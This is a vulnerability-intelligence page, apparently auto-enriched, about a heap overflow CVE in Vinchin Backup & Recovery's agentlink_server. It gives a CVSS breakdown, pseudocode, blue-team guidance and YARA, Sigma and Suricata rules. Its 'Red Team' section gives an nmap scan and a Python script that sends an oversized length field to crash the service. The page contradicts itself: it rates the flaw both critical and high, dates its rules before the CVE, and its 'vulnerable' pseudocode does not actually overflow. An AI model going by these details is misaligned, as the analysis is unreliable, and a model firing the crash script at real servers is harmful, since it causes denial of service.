☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2026-60094

CVE-2026-60094 Buffer Overflow in Vinchin
📅 PUBLISHED: 2026-07-09 13:25 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.64%
👁️
0.64% probability
16.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: China License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-60094 is a critical heap buffer overflow vulnerability in Vinchin Backup & Recovery, affecting versions up to and including 9.0.0.86562. The flaw resides in the agentlink_server service, which listens for incoming TCP connections. An unauthenticated, remote attacker can exploit this vulnerability by sending a specially crafted TCP packet containing an unchecked body_len field. This field is passed directly to the recv() function, allowing the attacker to control the amount of data read into a heap buffer, potentially causing an overflow of up to approximately 4 GiB. Successful exploitation results in a process crash or memory corruption, leading to a denial of service (DoS) condition. No public proof-of-concept (PoC) code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
  • Privileges Required (PR): None (N) - The attacker does not need any authentication.
  • User Interaction (UI): None (N) - No user action is required.
  • Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
  • Confidentiality (C): None (N) - No data is exposed.
  • Integrity (I): None (N) - No data is modified.
  • Availability (A): High (H) - The vulnerability can cause a complete denial of service.

Threat Level: High. The vulnerability is remotely exploitable without authentication, making it a significant threat to the availability of Vinchin Backup & Recovery services.

Deep Dive & Mechanics

The vulnerability is a classic heap buffer overflow caused by improper validation of user-supplied input. The agentlink_server service listens on a TCP port for incoming connections. When a client connects, the service expects a packet with a specific structure, including a body_len field that indicates the size of the subsequent data payload.

The vulnerable code path does not validate the body_len field against the actual size of the allocated heap buffer. Instead, it passes the attacker-controlled body_len value directly to the recv() function as the maximum number of bytes to read. This allows an attacker to specify a body_len value that is larger than the allocated buffer, causing recv() to write data beyond the buffer's boundaries.

The overflow can be up to approximately 4 GiB (the maximum value of a 32-bit unsigned integer), which is sufficient to corrupt adjacent heap metadata, other heap objects, or even overwrite critical data structures. This corruption can lead to a process crash (DoS) or, in more complex scenarios, potentially be leveraged for arbitrary code execution, though the primary impact is denial of service.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to the following pseudocode:

Vulnerable Code (Pseudocode):

void handle_connection(int sock) {
    char header[HEADER_SIZE];
    char *body;
    uint32_t body_len;

    recv(sock, header, HEADER_SIZE, 0);
    body_len = ntohl(*(uint32_t*)(header + OFFSET_BODY_LEN));

    body = malloc(body_len); // Allocates buffer based on attacker-controlled size
    if (body == NULL) {
        // Handle error
        return;
    }

    // VULNERABLE: No check that body_len matches the allocated size
    recv(sock, body, body_len, 0); // Attacker controls body_len, can overflow

    // Process body...
    free(body);
}

Patched Code (Hypothetical):

void handle_connection(int sock) {
    char header[HEADER_SIZE];
    char *body;
    uint32_t body_len;
    uint32_t max_body_len = MAX_ALLOWED_BODY_SIZE; // Define a safe maximum

    recv(sock, header, HEADER_SIZE, 0);
    body_len = ntohl(*(uint32_t*)(header + OFFSET_BODY_LEN));

    // PATCH: Validate body_len against a safe maximum
    if (body_len > max_body_len) {
        // Reject the request
        send_error(sock, "Body too large");
        return;
    }

    body = malloc(body_len);
    if (body == NULL) {
        // Handle error
        return;
    }

    // Now safe because body_len is validated
    recv(sock, body, body_len, 0);

    // Process body...
    free(body);
}

Exploitation & Lab Setup

Red Team

Objective: Trigger a denial of service on the Vinchin Backup & Recovery agentlink_server service.

Lab Setup:

  1. Target: A virtual machine running Vinchin Backup & Recovery version 9.0.0.86562 with the agentlink_server service exposed on a network interface.
  2. Attacker: A Kali Linux machine on the same network.

Exploitation Steps:

  1. Identify the Service: Use Nmap to scan for the agentlink_server service. The default port is unknown but can be discovered via service enumeration.
    nmap -sV -p 1-65535 <target_ip>
    
  2. Craft the Malicious Packet: Since no public exploit exists, a custom script must be written. The following Python script sends a packet with an oversized body_len field.
    import socket
    import struct
    
    target_ip = "192.168.1.100"
    target_port = 12345  # Replace with actual port
    
    # Craft a header with a large body_len (e.g., 0xFFFFFFFF)
    header = b'\x00' * 16  # Example header structure
    body_len = 0xFFFFFFFF  # Maximum 32-bit value
    header = header[:OFFSET_BODY_LEN] + struct.pack('!I', body_len) + header[OFFSET_BODY_LEN+4:]
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(header)
    # Send a large amount of data to trigger the overflow
    sock.send(b'A' * 1024 * 1024)  # 1 MB of data
    sock.close()
    
  3. Execute the Exploit: Run the script. The target service should crash, resulting in a denial of service.

Blue Team

Detection and Response:

  1. Monitor Network Traffic: Look for TCP connections to the agentlink_server port that contain unusually large payloads or malformed headers.
  2. Analyze Logs: Check application logs for crashes or errors related to memory allocation or buffer overflows.
  3. Implement Network Segmentation: Restrict access to the agentlink_server service to only trusted management hosts.
  4. Apply Virtual Patching: If a WAF or IPS is in place, create a custom rule to block packets with excessively large body_len fields.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • TCP packets to the agentlink_server port with a body_len field exceeding a reasonable threshold (e.g., > 10 MB).
    • Repeated connection attempts from a single source IP to the agentlink_server service.
  • Host IOCs:
    • Process crash dumps for the agentlink_server process.
    • High memory usage or heap corruption errors in system logs.
    • Unexpected termination of the Vinchin Backup & Recovery service.

Detection Engineering

YARA Rule

rule CVE_2026_60094_Heap_Overflow {
    meta:
        description = "Detects heap buffer overflow attempts against Vinchin Backup & Recovery agentlink_server"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-60094"
    strings:
        $header_magic = { 41 42 43 44 } // Example magic bytes, adjust as needed
        $large_body_len = /.{OFFSET_BODY_LEN}\x{FF}{4}/ // Matches 0xFFFFFFFF at offset
    condition:
        $header_magic and $large_body_len
}

Sigma Rule

title: CVE-2026-60094 - Heap Buffer Overflow in Vinchin Backup & Recovery
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic attempting to exploit a heap buffer overflow in Vinchin Backup & Recovery agentlink_server.
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        destination_port: 12345  # Replace with actual port
        payload_length: '> 10485760'  # Payload > 10 MB
    condition: selection
falsepositives:
    - Legitimate large data transfers (unlikely)
level: high

Suricata Rule

alert tcp any any -> any 12345 (msg:"CVE-2026-60094 - Heap Buffer Overflow in Vinchin Backup & Recovery"; flow:to_server,established; content:"|FF FF FF FF|"; offset:OFFSET_BODY_LEN; depth:4; byte_test:4,>,10485760,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate Affected Systems: If possible, disconnect Vinchin Backup & Recovery servers from untrusted networks.
  2. Restrict Network Access: Use firewall rules to limit access to the agentlink_server service to only trusted IP addresses.
  3. Monitor for Exploitation: Implement the detection rules provided above to identify any attempts to exploit this vulnerability.

Long-Term Fix:

  • Apply Vendor Patch: Monitor Vinchin's official channels for a security patch. Once released, apply it immediately to all affected systems.
  • Upgrade Software: Upgrade to a patched version of Vinchin Backup & Recovery as soon as it becomes available.

Workaround:

  • If patching is not immediately possible, consider disabling the agentlink_server service if it is not required for operations.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-60094/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.